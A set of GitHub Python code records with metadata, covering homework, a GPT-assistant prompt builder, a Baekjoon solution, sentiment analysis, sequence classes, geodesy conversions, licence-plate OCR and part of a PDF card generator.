A_n[n]*(x-x_0)**n\n    plt.plot(x,result) \n    plt.show()\n    return result\n    \n    \nresultaat = MachtReeks(x,A_n,2,4)\nprint(resultaat) \n  \n#plt.plot(x,resultaat) \n#plt.show() \n\n\n#%%\n\n\n\n","repo_name":"mereldv/DataPyRepo","sub_path":"Week5/Week5.py","file_name":"Week5.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23550114391","text":"import datetime\nimport json\nimport logging\n\nimport tiktoken\n\nfrom datatypes.chat_context import ChatContext\nfrom datatypes.gpt_response import GptResponse\nfrom datatypes.user_message import UserMessage\n\n\nquery_template = \"\"\"\\\n- The date and time when sending this message is: {curr_date}.\n- You are in a room with the following human(s) {human_names!s}.\n- You will be supplied with a part of the recent conversation history (as working memory) and the current prompt.\n- As you don't have too much working memory you are encouraged to save important information in your long term memory \nusing the commands given to you. \n- You can only execute one command at a time, so you will have to plan your next steps  carefully and remember them. \n- If you can, try to answer questions on your own. \n- Avoid executing the same command twice in a row.\n\nYour general task is to help the human(s). Specifically your general goals and tasks include:\n{ai_goals}\n\nYou can execute the following commands as desired: Every answer of yours has to be a JSON object invoking exactly one of those functions:\n----BEGIN COMMANDS----\n{commands}\n----BEGIN COMMANDS----\nThe result of invoking a functionality will be given back to you.\n\nAlso, you have access to the following storage keys: {memory_keys} \n\nWe have the following conversation history (with #{n_history} entries total). \nYou should incorporate the following information for your answer if useful:\n----BEGIN Conversation History----\n{history}\n----END Conversation History----\n\nThe result of the last command of yours was:\n{current_prompt}\nAdditional Information provided (if any): \n{additional_info}\n\n\nTo remind you:\nYour plan was: `{plan}`!\nYour next planned steps were:\n{next_steps}!\n\n---- Your Instructions ----\nAlways consider your next steps carefully step by step and execute them one by one. Add the remaining \nsteps you would have to do to achieve the plan to your response in the template given below. Don't put the next\nsteps into an answer directly but put it in the json structure in the key `steps`. Use the plan to store overarching \ninformation on what we are going to do.\n\n*ALWAYS* respond with a JSON object in the following exact format (given as template):\n----BEGIN TEMPLATE---\n{base_command}\n----END TEMPLATE---\n\"\"\"\n\n\ndef conversation_history_to_str(history: list[tuple[int, str, str]]) -> str:\n    return \"\\n\".join(\n        [\n            f\"----BEGIN History Entry #{i}----\\n{user}: {msg}\\n----END History Entry #{i}----\"\n            for i, user, msg in history\n        ]\n    )\n\n\ndef generate_gpt_query(ctx: ChatContext, logger: logging.Logger) -> str:\n    \"\"\"\n    Generates a query / prompt for GPT-3\n    :param ctx:\n    :param logger:\n    :return:\n    \"\"\"\n    from gpt_commands import GPT_COMMANDS\n\n    storage = [*ctx.key_storage_backend.list()]\n    pos = len(ctx.message_history)\n    conversations = []\n    if len(ctx.message_history) > 1:\n        for i in reversed(ctx.message_history[:-1]):\n            conversations.append(\n                (\n                    pos,\n                    i.user if isinstance(i, UserMessage) else \"assistant\",\n                    i.user_response\n                    if isinstance(i, UserMessage)\n                    else json.dumps(i.dict()),\n                )\n            )\n            conversations_str = conversation_history_to_str(conversations)\n            n_tokens = count_tokens(\n                text=conversations_str, model=ctx.settings.model, logger=logger\n            )\n            if n_tokens > ctx.settings.max_token_len_history:\n                conversations = conversations[:-1]\n                break\n            pos -= 1\n\n    # reverse again to be in chronological order\n    conversations = [*reversed(conversations)]\n\n    conversations_str = conversation_history_to_str(conversations)\n\n    command_str = \"\"\n    for command_name, command in GPT_COMMANDS.items():\n        if command_name in ctx.settings.allowed_commands:\n            command_str += f\"- `{command_name}` - ({command.description()})\\n\"\n            if command.arguments():\n                command_str += \"Args:\\n\"\n                for name, typ, help_text, required in command.arguments():\n                    command_str += (\n                        f\"  {name} ({typ.__name__}) - {help_text}\"\n                        f' ({\"required\" if required else \"optional\"}\\n'\n                    )\n            else:\n                command_str += \"No args.\\n\"\n\n    # current context if available (when it is not the first message)\n    if len(ctx.message_history) > 0 and ctx.message_history[-1]:\n        additional_info = (\n            ctx.message_history[-1].additional_info\n            if ctx.message_history[-1].additional_info\n            else \"None\"\n        )\n        current_prompt = (\n            f\"User ({ctx.active_user}): \" + ctx.message_history[-1].user_response\n        )\n\n    else:\n        additional_info = \"None\"\n        current_prompt = \"None\"\n\n    if len(ctx.message_history) >= 2:\n        msg: GptResponse = ctx.message_history[-2]\n        plan = msg.plan if msg.plan else \"None\"\n        next_steps = msg.steps[1:] if msg.steps and len(msg.steps) > 1 else [\"None\"]\n    else:\n        plan = \"Come up with a plan on fulfilling the goals.\"\n        next_steps = [\"Initiate the conversation with the human(s).\"]\n\n    template = query_template.format(\n        ai_name=ctx.bot_name,\n        human_names=ctx.users,\n        memory_keys=storage if storage else \"None\",\n        n_history=len(ctx.message_history),\n        history=conversations_str,\n        commands=command_str,\n        curr_date=datetime.datetime.now().strftime(\"%d/%m/%Y at %H:%M:%S\"),\n        base_command='{\"command\": \"the_command\", \"arguments\": {\"the\":\"parameters\", ... }, '\n        '\"plan\": \"the effect you want to achieve with your current execution steps\", '\n        '\"steps\": [\"details\", \"of\", \"steps\", \"you\", \"want\", \"to\", \"do\"]}',\n        # example_command=json.dumps({'command': 'ask_human',\n        #                            'arguments': {'information': 'Hello human! How can I help you?'},\n        #                            'plan': 'I want to know what to the human needs.',\n        #                            'critic': 'Maybe they don\\'t need anything.'}),\n        current_prompt=current_prompt,\n        additional_info=additional_info,\n        plan=plan,\n        next_steps='-'+'\\n- '.join(next_steps),\n        ai_goals='-'+'-\\n- '.join(ctx.settings.default_ai_tasks),\n    )\n\n    return template\n\n\ndef count_tokens(text: str, model: str, logger: logging.Logger) -> int:\n    \"\"\"Count the (approximated) number of tokens of a text for a specific model.\n    if the models tokenizer is not available, it will estimate the number of tokens\n     by dividing the length of the text by 4 (estimation)\n     Parameters:\n        text: the text to count the tokens for\n        model: the model to count the tokens for\n        logger: the logger to log warnings to\n    Returns:\n        the (maybe estimated) number of tokens\n    \"\"\"\n    # To get the tokenizer corresponding to a specific model in the OpenAI API:\n    try:\n        enc = tiktoken.encoding_for_model(model)\n        return len(enc.encode(text))\n    except Exception as e:\n        logger.warning(\n            f\"Could not get tokenizer for model `{model}`: `{e}`. Will estimate tokens.\"\n        )\n        return len(text) // 4 + 1\n","repo_name":"Mereep/assistant-gpt","sub_path":"src/utils/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":7342,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"}
+{"seq_id":"24288064618","text":"def combination(arr, r):\n    for i in range(len(arr)):\n        if r == 1:\n            yield [arr[i]]\n        else:\n            for next in combination(arr[i+1:], r-1):\n                yield [arr[i]] + next\n\nN, M = map(int, input().split())\nboard = []\nhome, chicken = [], []\nfor i in range(N):\n    board.append(list(map(int, input().split())))\n    for j in range(N):\n        if board[i][j] == 1:\n            home.append((i, j))\n        elif board[i][j] == 2:\n            chicken.append((i, j))\n            \nnCr = combination(chicken, M)   #가능한 치킨집 조합\nresult, ans = 0, 1e9\n\nfor c in nCr:\n    c.sort()\n    for x,y in home:\n        minimum = 1e9\n        for i,j in c:\n            d = abs(x-i) + abs(y-j)\n            if minimum > d:\n                minimum = d\n\n        result += minimum\n    ans = min(ans, result)\n    result = 0\nprint(ans)","repo_name":"Yuunhye/Problem_Solving","sub_path":"Baekjoon/Samsung/15686 치킨 배달.py","file_name":"15686 치킨 배달.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"7781732417","text":"import pandas\nimport csv\nimport pickle\nimport numpy\nimport time\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\n\nclass SentimentAnalysis():\n    def __init__(self):\n        self.filepath = \"polls/module/data/\"\n        self.modelFile = \"tf_idf_model.pkl\"\n        self.preproFile = None\n        self.model = None\n        self.keyword = None\n        self.media = None\n        self.MEDIA_MUSINSA = \"musinsa\"\n        self.MEDIA_INSTAGRAM = \"instagram\"\n        self.CATEGORY = ['color','price','size','None']\n        self.months = [\"01\",\"02\",\"03\",\"04\",\"05\",\"06\",\"07\",\"08\",\"09\",\"10\",\"11\",\"12\"]\n        self.yearlist = []\n\n        self.load_model()\n\n    ##키워드설정\n    def set_keyword(self,keyword):\n        self.keyword = keyword\n\n    def get_keyword(self):\n        return self.keyword\n    \n    ##매체설정\n    def set_media(self,media):\n        self.media = media\n\n        ##전처리 파일 선택\n        if self.media == self.MEDIA_INSTAGRAM:\n            self.preproFile = \"preprocessed_instagram.csv\"\n            self.date_pattern = \"%s-%s-\"\n        elif self.media == self.MEDIA_MUSINSA:\n            self.preproFile = \"preprocessed_musinsa.csv\"\n            self.date_pattern = \"%s.%s.\"\n    \n    def get_media(self):\n        return self.media\n\n    ##현재 저장되어있는 리뷰 연도리스트 반환\n    def get_year_list(self):\n        filepath = self.filepath+self.preproFile\n        now = time.localtime() ##현재날짜\n\n        for year in range(now.tm_year,now.tm_year-3,-1): ##현재 연도로부터 3년간 데이터 존재하는지 \n            df = pandas.read_csv(filepath,encoding='utf-8',index_col=False)\n            df = df[df['keyword'] == self.keyword]\n            df = df.dropna(how=\"any\")\n            pattern = str(year)\n            df = df.ix[df['date'].str.startswith(pattern),:]\n            if(len(df) != 0):\n                self.yearlist.append(year)\n        return self.yearlist    \n\n    ##감정분석 학습 모델 로드\n    def load_model(self):\n        with open(self.filepath+self.modelFile,'rb') as f:\n            self.model = pickle.load(f)\n\n    ##긍/부정 예측\n    def predict_sentiment_month(self,year,month,detailed=\"no\"):\n        month = str(month)\n        if len(month) == 1: \n            month = \"0\"+month\n        if month not in self.months : raise Exception\n        \n        ##날짜 패턴 설정\n        pattern = self.date_pattern % (year,month)\n\n        ##전처리 데이터 불러오고 필터링\n        data = pandas.read_csv(self.filepath+self.preproFile,encoding='utf-8',index_col=False)\n        data = data[data['keyword']==self.keyword]\n        if detailed != \"no\":\n            data = data[data['category']==detailed]\n        data = data.dropna(how=\"any\")\n        data = data.ix[data['date'].str.startswith(pattern),:]\n        review_data = [str(review) for review in data['text']]\n\n        result = {\"pos\":0, \"neg\":0}\n\n        ##예외처리\n        if len(review_data) == 0:\n            return result\n\n        ##긍/부정 예측\n        pred = self.model.predict(review_data)\n        ##probability = numpy.max(self.model.predict_proba(example))*100\n        \n        ##긍/부정 카운트 \n        for sentiment in pred:\n            if sentiment == 1:\n                result[\"pos\"] = result[\"pos\"] + 1\n            elif sentiment == -1:\n                result[\"neg\"] = result[\"neg\"] + 1\n\n        return result\n    \nif __name__ == '__main__':\n    analysis = SentimentAnalysis()\n    analysis.set_keyword('맨투맨')\n    analysis.set_media(analysis.MEDIA_MUSINSA)\n    for month in analysis.months:\n        l = analysis.predict_sentiment_month(\"2018\",month)\n        print(\"%2s - %s\" % (month,l))\n    print() \n","repo_name":"lee02g29/GraduationWork","sub_path":"polls/module/sentimentAnalysis.py","file_name":"sentimentAnalysis.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6844695056","text":"from abc import ABCMeta, abstractmethod\n\n\nclass BaseSequence(object, metaclass=ABCMeta):\n\n    _water = 18.0153\n\n    def __init__(self, name, seq):\n        \"\"\"\n        :param seq: the sequence\n        :type seq: string\n        \"\"\"\n        self.name = name\n        self._sequence = seq\n\n    @property\n    def alphabet(self):\n        return self._alphabet\n\n    @property\n    def sequence(self):\n        return self._sequence\n\n\n    def __len__(self):\n        \"\"\"\n        :return: the length of this sequence (number of bases or aa)\n        :rtype: integer\n        \"\"\"\n        return len(self._sequence)\n\n\n    def to_fasta(self):\n        \"\"\"\n        :return: a string in fasta format of this sequence\n        :rtype: basestring\n        \"\"\"\n        id_ = self.name.replace(' ', '_')\n        fasta = '>{}\\n'.format(id_)\n        start = 0\n        while start < len(self._sequence):\n            end = start + 80\n            fasta += self._sequence[start: end + 1] + '\\n'\n            start = end\n        return fasta\n\n\n    def _one_strand_molec_weight(self, seq):\n        \"\"\"\n        helper function to compute the mw of the seq\n        :param seq: the seq (nucleic or proteic) to compute the mw\n        :type seq: string\n        :return: mw of seq\n        :rtype: float\n        \"\"\"\n        return sum([self._weight_table[base] for base in seq]) - (len(seq) - 1) * self._water\n\n\n    @abstractmethod\n    def molecular_weight(self):\n        \"\"\"\n        tihis method is abstract and must be implemented in child classes\n        :return: The molecular weight\n        :rtype: float\n        \"\"\"\n        pass\n\n\nclass Mutable(object):\n\n\n    def mutate(self, pos, base):\n        \"\"\"\n        mutate the sequence replace the base at pos with base\n        :param pos: the position of the base to mutate (starting count = 0)\n        :type pos: integer\n        :param base: the base to replace with it must be a char belonging to the alphabet\n        :type base: string (one char)\n        :return:\n        \"\"\"\n        if base not in self._alphabet:\n            raise ValueError(\"base must be {}\".format(', '.join([\"'{}'\".format(c) for c in self._alphabet])))\n        if pos < 0 or pos > len(self._sequence):\n            raise ValueError(\"pos must be > 0 and < {}\".format(len(self._sequence)))\n        head = self._sequence[0:pos]\n        tail = self._sequence[pos+1:]\n        self._sequence = head + base + tail\n\n\nclass NonMutableDNASequence(BaseSequence):\n\n    _weight_table = {'A': 347.2212, 'C': 323.1965, 'G': 363.2206, 'T': 322.2085}\n    _alphabet = 'ACGT'\n\n    def molecular_weight(self):\n        \"\"\"\n        :return: The molecular weight\n        :rtype: float\n        \"\"\"\n        direct_weight = self._one_strand_molec_weight(self._sequence)\n        rev_comp = self.rev_comp()\n        rev_comp_weight = self._one_strand_molec_weight(rev_comp.sequence)\n        return direct_weight + rev_comp_weight\n\n\n    def rev_comp(self):\n        \"\"\"\n        :return: a new sequence representing the reverse complement\n        :rtype: :class:`Sequence` object\n        \"\"\"\n        rev = self.sequence[::-1]\n        table = str.maketrans(self._alphabet, self._alphabet[::-1])\n        rev_comp = str.translate(rev, table)\n        return self.__class__(self.name + '_reverse', rev_comp)\n\n\nclass MutableDNASequence(NonMutableDNASequence, Mutable):\n\n    pass\n\n\nclass NonMutableAASequence(BaseSequence):\n\n    _weight_table = {'A': 89.0932, 'C': 121.1582, 'E': 147.1293,\n                     'D': 133.1027, 'G': 75.0666, 'F': 165.1891,\n                     'I': 131.1729, 'H': 155.1546, 'K': 146.1876,\n                     'M': 149.2113, 'L': 131.1729, 'O': 255.3134,\n                     'N': 132.1179, 'Q': 146.1445, 'P': 115.1305,\n                     'S': 105.0926, 'R': 174.201, 'U': 168.0532,\n                     'T': 119.1192, 'W': 204.2252, 'V': 117.1463,\n                     'Y': 181.1885}\n\n    _alphabet = ''.join(_weight_table.keys())\n\n    def molecular_weight(self):\n        \"\"\"\n        :return: The molecular weight\n        :rtype: float\n        \"\"\"\n        return super()._one_strand_molec_weight(self.sequence)\n\n\nclass MutableAASequence(NonMutableAASequence, Mutable):\n\n    pass","repo_name":"C3BI-pasteur-fr/python-solutions-1","sub_path":"source/_static/code/multi_inheritance.py","file_name":"multi_inheritance.py","file_ext":"py","file_size_in_byte":4156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"30302667900","text":"\n\"\"\"\nFunctions for various latitude/longitude operations.\n\nWhile pyproj is a great package, it doesn't seem to be able to handle\nEaast-North-Up (ENU) coordinate systems. Among other things, this module\ncan.\n\n\"\"\"\n\nimport numpy as np\nimport pyproj\n\n\ndef rot_matrix_ecef2enu(lam, phi):\n    \"\"\"\n    Define the rotation matrix to go from ECEF coordinates to ENU.\n\n    This doesn't seem to be in the package pyproj, so we'll define it here.\n    Typically, you won't need to call this function.\n\n    Parameters\n    ----------\n    lam : numeric\n        The longitude of the center of the ENU system.\n    phi : numeric\n        The longitude of the center of the ENU system.\n\n    Returns\n    -------\n    numpy array\n        A 3x3 numpy array defining the rotation matrix.\n\n    \"\"\"\n    # Make the matrix below a little easier to type by defining a few variables:\n    sLam = np.sin(lam)\n    cLam = np.cos(lam)\n    sPhi = np.sin(phi)\n    cPhi = np.cos(phi)\n\n    rotMatrix = np.array([[-sLam,      cLam,       0],\n                         [-sPhi*cLam,  -sPhi*sLam, cPhi],\n                         [cPhi*cLam,   cPhi*sLam,  sPhi]])\n\n    return rotMatrix\n\n\ndef lla2enu(lats, lons, alts, center=None):\n    \"\"\"\n    Convert lat, lon, alt to ENU (East North Up) coordinates.\n\n    If no center is given, use the average lat/lon/alt of input. This is the\n    sister function to :func:`enu2lla`\n\n    Parameters\n    ----------\n    lats : array-like\n        The latitudes of the data\n    lons : array-like\n        The longitudes of the data\n    alts : array-like\n        The altitudes of the data (in km)\n    center : three element array-like\n        The lat, lon, alt of the center of the ENU coordinate system. If none\n        is given, then then average of each input is used.\n\n    Returns\n    -------\n    numpy record array\n        An `n` element numpy record array, where `n` is the number of elements\n        in lats/lons/alts. The record arrays has the fields `x`, `y`, and `z`.\n\n    Examples\n    --------\n\n    Find the Cartesian location of a point located at a lat, lon of\n    (34.681, -86.530) and a altitude of 1.1 km in a coordinate system\n    centered at lat, lon = (34.726, -86.639) and 100 meters above the surface.\n    But, remember, heights should be in kilometers and arguments are array-like\n    (i.e., no scalars)::\n\n        center_coord = (34.726, -86.639, 0.1)\n        xyz = lla2enu([34.681], [-86.530], [1.1], center=center_coord)\n\n    For a sanity check, convert back to x,y,z using the sister function\n    func:`enu2lla`::\n\n        lla = enu2lla(xyz.x, xyz.y, xyz.z, center=center_coord)\n\n    \"\"\"\n\n    # Start by defining the projections for the conversion:\n    ecefProj = pyproj.Proj(proj='geocent',  ellps='WGS84', datum='WGS84')\n    llaProj = pyproj.Proj(proj='latlong', ellps='WGS84', datum='WGS84')\n\n    # Define the transform:\n    lla2ecef_xform = pyproj.Transformer.from_proj(llaProj, ecefProj)\n\n    # First, convert to ECEF\n    ecef = np.array(lla2ecef_xform.transform(lons, lats, np.array(alts)*1e3))\n\n    # Next, convert the center:\n    if center is None:\n        center = (np.mean(lats), np.mean(lons), np.mean(alts)*1e3)\n\n    centerEcef = np.array(lla2ecef_xform.transform(center[1], center[0], center[2]*1e3))\n\n    # Now, we convert ECEF to ENU...\n\n    # Start by finding the vector pointing from the origin to the point(s) of interest\n    vec = (ecef.transpose() - centerEcef).transpose()\n\n    # Now, we construct the rotation matrix at the origin:\n    lam = np.radians(center[1])\n    phi = np.radians(center[0])\n\n    # Get the rotation matrix:\n    rotMatrix = rot_matrix_ecef2enu(lam, phi)\n\n    # Finally, transform ECEF to ENU\n    enu = rotMatrix.dot(vec)/1e3  # return in km\n\n    # Return as an numpy record array\n    return np.core.records.fromarrays(enu, names='x,y,z')\n\n\ndef enu2lla(x, y, z, center):\n    \"\"\"\n    Convert from ENU (East North Up) coordinates to latitude/longitude/altitude.\n\n    This is the sister function to :func:`lla2enu`\n\n    Parameters\n    ----------\n    x : array-like\n        The east-west (x) coordinates of the data in kilometers.\n    y : array-like\n        The north-south (y) coordinates of the data in kilometers.\n    z : array-like\n        The up-down (z) coordinates of the data in kilometers.\n    center : three element array-like\n        The lat/lon/alt of the center of the ENU coordinate system.\n        Altitude is in kilometers; lat/lon in degrees.\n\n    Returns\n    -------\n    numpy record array\n        An `n` element numpy record array, where `n` is the number of elements\n        in x/y/z. The record arrays has the fields `lat`, `lon`, and `alt`.\n        All values are in kilometers.\n\n    Examples\n    --------\n\n    Find the lat/lon/altitude of a point that is 10 km east, 5 km south, and\n    1 km above the Cartesian coordinate system centered at\n    lat, lon = (34.726, -86.639) and 100 meters above the surface. But,\n    remember, heights should be in kilometers and arguments are array-like\n    (i.e., no scalars)::\n\n        center_coord = (34.726, -86.639, 0.1)\n        lla = enu2lla([10], [-5], [1], center=center_coord)\n\n    For a sanity check, convert back to x,y,z using the sister function\n    func:`lla2enu`::\n\n        xyz = lla2enu(lla.lat, lla.lon, lla.alt, center=center_coord)\n\n    \"\"\"\n\n    # Start by defining the projections for the conversion:\n    ecefProj = pyproj.Proj(proj='geocent', ellps='WGS84', datum='WGS84')\n    llaProj = pyproj.Proj(proj='latlong', ellps='WGS84', datum='WGS84')\n\n    # Define the transform:\n    lla2ecef_xform = pyproj.Transformer.from_proj(llaProj, ecefProj)\n\n    # Take the center point and convert to ECEF, but convert km to m\n    centerEcef = lla2ecef_xform.transform(center[1], center[0], center[2]*1e3)\n\n    # Now, convert the ENU coordinates to a \"delta\" ECEF. This is the offset\n    # (in ECEF coordinates) of the points from the center. To do so, get the\n    # the rotation matrix, and apply the inverse\n    # (since it's a rotation matrix, the inverse is the transpose).\n\n    rotMatrix = rot_matrix_ecef2enu(np.radians(center[1]), np.radians(center[0])).T\n    ecefDelta = rotMatrix.dot([x, y, z])*1e3  # again, convert to m\n\n    # Now, translate the vector of points to the ECEF of the center:\n    ecefVec = (ecefDelta.transpose() + centerEcef).transpose()\n\n    # Convert these to LLA:\n    lla = np.array(lla2ecef_xform.transform(ecefVec[0, :],\n                                            ecefVec[1, :],\n                                            ecefVec[2, :],\n                                            direction='INVERSE'))\n\n    # Now, we want to return this as a record array, but convert the alt to km:\n    dtype = [('lon', np.float), ('lat', np.float), ('alt', np.float)]\n    lla = np.core.records.fromarrays([lla[0], lla[1], lla[2]/1e3],\n                                     dtype=dtype)\n\n    return lla\n","repo_name":"pbitzer/pyltg","sub_path":"pyltg/utilities/latlon.py","file_name":"latlon.py","file_ext":"py","file_size_in_byte":6831,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"70687189226","text":"import numpy as np\nimport os\nimport sys\nimport tensorflow as tf\nfrom matplotlib import pyplot as plt\nfrom PIL import Image\nimport cv2\nimport pytesseract\nimport matplotlib.patches as patches\nfrom utilities import allow_needed_values as anv \nfrom utilities import do_image_conversion as dic\nimport cv2\n\nMODEL_NAME = 'numplate'\nPATH_TO_CKPT = MODEL_NAME + '/graph-200000/frozen_inference_graph.pb'\nPATH_TO_LABELS = 'object-detection.pbtxt'\nNUM_CLASSES = 1\n\n\ndetection_graph = tf.Graph()\nwith detection_graph.as_default():\n  od_graph_def = tf.GraphDef()\n  with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n    serialized_graph = fid.read()\n    od_graph_def.ParseFromString(serialized_graph)\n    tf.import_graph_def(od_graph_def, name='')\n\n\n\ndef load_image_into_numpy_array(image):\n  (im_width, im_height) = image.size\n  return np.array(image.getdata()).reshape(\n      (im_height, im_width, 3)).astype(np.uint8)\n\n\nPATH_TO_TEST_IMAGES_DIR = 'png_tesseract/test_motion'\nTEST_IMAGE_PATHS = [ os.path.join(PATH_TO_TEST_IMAGES_DIR, 'image{}.jpg'.format(i)) for i in range(1, 14) ]\nIMAGE_SIZE = (12, 8)\nTEST_DHARUN=os.path.join('numplate')\ncount = 0\n\n\nwith detection_graph.as_default():\n  with tf.Session(graph=detection_graph) as sess:\n    image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n    detection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\n    detection_scores = detection_graph.get_tensor_by_name('detection_scores:0')\n    detection_classes = detection_graph.get_tensor_by_name('detection_classes:0')\n    num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n    it = 0\n    #video = cv2.VideoWriter('png_tesseract/data/output2.avi', 0, 1, (1280, 720))\n    out = cv2.VideoWriter('png_tesseract/data/output.avi',cv2.VideoWriter_fourcc(*'DIVX'), 8, (1280, 720))\n    for image_path in TEST_IMAGE_PATHS:\n      image = Image.open(image_path) \n      print(image_path)\n      image_np = load_image_into_numpy_array(image)\n      image_np_expanded = np.expand_dims(image_np, axis=0)\n      (boxes, scores, classes, num) = sess.run(\n          [detection_boxes, detection_scores, detection_classes, num_detections],\n          feed_dict={image_tensor: image_np_expanded})\n      #print(\"Number of detections : \", num)\n      ymin = boxes[0,0,0]\n      xmin = boxes[0,0,1]\n      ymax = boxes[0,0,2]\n      xmax = boxes[0,0,3]\n      (im_width, im_height) = image.size\n      (xminn, xmaxx, yminn, ymaxx) = (int(xmin * im_width), int(xmax * im_width), int(ymin * im_height), int(ymax * im_height))\n      print(\"Plate detected: \", (xminn, xmaxx, yminn, ymaxx))\n      \n     \n      \n      \n        \n      out.write(image_np)\n    \n     \n      plt.imshow(image_np)\n      plt.show()\n      it = it+1\n      \n\n      cropped_image = tf.image.crop_to_bounding_box(image_np, int(yminn), int(xminn),int(ymaxx - yminn), int(xmaxx - xminn))\n      img_data = sess.run(cropped_image)\n      count = 0\n      filename = dic.yo_make_the_conversion(img_data, count)\n      pytesseract.tesseract_cmd = 'Users/laishawadhwa/models/research/object_detection/tessdata/'\n      text = pytesseract.image_to_string(Image.open(filename),lang=None) \n      print('CHARCTER RECOGNITION : ',anv.catch_rectify_plate_characters(text))\n\n      cv2.rectangle(image_np, (xminn, yminn), (xmaxx, ymaxx), (0, 255, 0) , 2)\n      y = xminn - 15 if xminn - 15 > 15 else yminn + 15\n      cv2.putText(image_np,text, (xminn - 145 , yminn -50),cv2.FONT_HERSHEY_SIMPLEX, 3, (0, 0, 255), 3)\n      print(\"Text Detected:\", text)\n      plt.imshow(img_data)\n    out.release()\n     \n","repo_name":"laishawadhwa/Vehicle-Number-plate-extraction","sub_path":"test_anpr.py","file_name":"test_anpr.py","file_ext":"py","file_size_in_byte":3553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"73778300267","text":"from reportlab.pdfgen import canvas\nfrom reportlab.platypus import Paragraph, Frame\nfrom reportlab.lib.enums import TA_JUSTIFY\nfrom reportlab.lib.units import cm\nfrom reportlab.lib.colors import toColor\nfrom reportlab.lib.pagesizes import A4, LETTER, landscape\n\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\n\nfrom django.http.response import HttpResponse\nfrom django.template import Context, loader\nfrom django.utils.translation import ugettext as _\n\nfrom ..core.templatetags.markup import markdown\n\nfrom xhtml2pdf.document import pisaStory\n\nA4_FORMAT = \"a4\"\nLETTER_FORMAT = \"letter\"\n\nSHORT_SIDE = \"short\"\nLONG_SIDE = \"long\"\nFRONT_SIDE = \"front\"\n\nBACK_ORDER_CHOICE = {\n    SHORT_SIDE: (),\n    LONG_SIDE: (),\n}\n\nPAGE_SIZES_CHOICE = {\n    A4_FORMAT: landscape(A4),\n    LETTER_FORMAT: landscape(LETTER),\n}\n\n\ndef get_position(print_format, side):\n    w, h = PAGE_SIZES_CHOICE[print_format]\n    x1 = 1\n    x2 = 0.5*(w/cm)+1\n    y1 = 1.5\n    y2 = 11.5\n\n    if side == FRONT_SIDE:\n        return (\n            (x1, y2),\n            (x2, y2),\n            (x1, y1),\n            (x2, y1)\n        )\n    elif side == LONG_SIDE:\n        return (\n            (x1, y1),\n            (x2, y1),\n            (x1, y2),\n            (x2, y2)\n        )\n    elif side == SHORT_SIDE:\n        return (\n            (x2, y2),\n            (x1, y2),\n            (x2, y1),\n            (x1, y1)\n        )\n    else:\n        raise ValueError(\"Unknown back_side value {0}\".format(side))\n\n\nSIZE = (12.5, 8)\nTOP_HEIGHT = 2\n\n\ndef draw_story_front(c, story, positions, position=0, counter=0):\n    c.saveState()\n    pos = positions[position]\n    size = SIZE\n    c.translate(pos[0]*cm, pos[1]*cm)\n    c.setStrokeColorRGB(0.2, 0.5, 0.3)\n    c.rect(0, 0, size[0]*cm, size[1]*cm, fill=0)\n    c.line(0, (SIZE[1]-TOP_HEIGHT)*cm, size[0]*cm, (SIZE[1]-TOP_HEIGHT)*cm)\n\n    stylesheet = getSampleStyleSheet()\n    normal_style = stylesheet['Normal']\n    # Color\n    try:\n        color = toColor(story.color)\n    except ValueError:\n        color = toColor(\"#ffffff\")\n\n    c.setFillColor(color)\n    c.setStrokeColorRGB(0, 0, 0, alpha=0.1)\n    c.rect(0.3*cm, (SIZE[1] - TOP_HEIGHT + 0.3)*cm, 15, (TOP_HEIGHT-0.6)*cm,\n           fill=1)\n\n    # theme\n    p = Paragraph(u\"<font color=gray size=15>{0}</font>\".format(story.theme),\n                  normal_style)\n    p.wrap(SIZE[0]*cm, 2*cm)\n    p.drawOn(c, 1.1*cm, (SIZE[1]-TOP_HEIGHT+0.4)*cm)\n\n    # Point\n    if story.points >= 0:\n        txt = \"{0:.0f}\".format(story.points)\n        circle_color = toColor(\"#BBBBBB\")\n        txt_color = \"white\"\n    else:\n        txt = _(\"n/a\")\n        circle_color = toColor(\"#888888\")\n        txt_color = \"black\"\n    c.setFillColor(circle_color)\n    rad = 0.6\n    c.setStrokeColorRGB(0, 0, 0, alpha=0.5)\n    c.circle((SIZE[0]-rad - 0.3)*cm, (SIZE[1] - TOP_HEIGHT/2)*cm, rad*cm,\n             fill=1)\n    p = Paragraph(\n        u\"<para fontSize=20 textColor={0} alignment=center>{1}</font>\".format(\n            txt_color, txt\n        ), normal_style)\n    p.wrap(rad*2*cm, 2*cm)\n    p.drawOn(c, (SIZE[0]-(rad*2)-0.29)*cm, (SIZE[1] - TOP_HEIGHT/2 + 0.05)*cm)\n    c.setStrokeColorRGB(0, 0, 0, alpha=1.0)\n\n    # Code\n    p = Paragraph(u\"<font size=25>{0}</font>\".format(story.code), normal_style)\n    p.wrap(5*cm, 2*cm)\n    p.drawOn(c, 1.1*cm, (SIZE[1]-TOP_HEIGHT+1.5)*cm)\n\n    # Description\n    found = False\n    font_size = 15\n    leading = 20\n    while not found:\n        style = ParagraphStyle(name='Custom',\n                               parent=normal_style,\n                               fontSize=font_size,\n                               leading=leading,\n                               rightIndent=20,\n                               leftIndent=10,\n                               spaceBefore=0,\n                               spaceAfter=0,\n                               alignment=TA_JUSTIFY)\n        # print the html version of the story text\n        t = loader.get_template(\"backlog/user_story_text.html\")\n        text = t.render(Context({\n            'story': story,\n            'request': {\n                'LANGUAGE_CODE': \"en\"\n            }\n      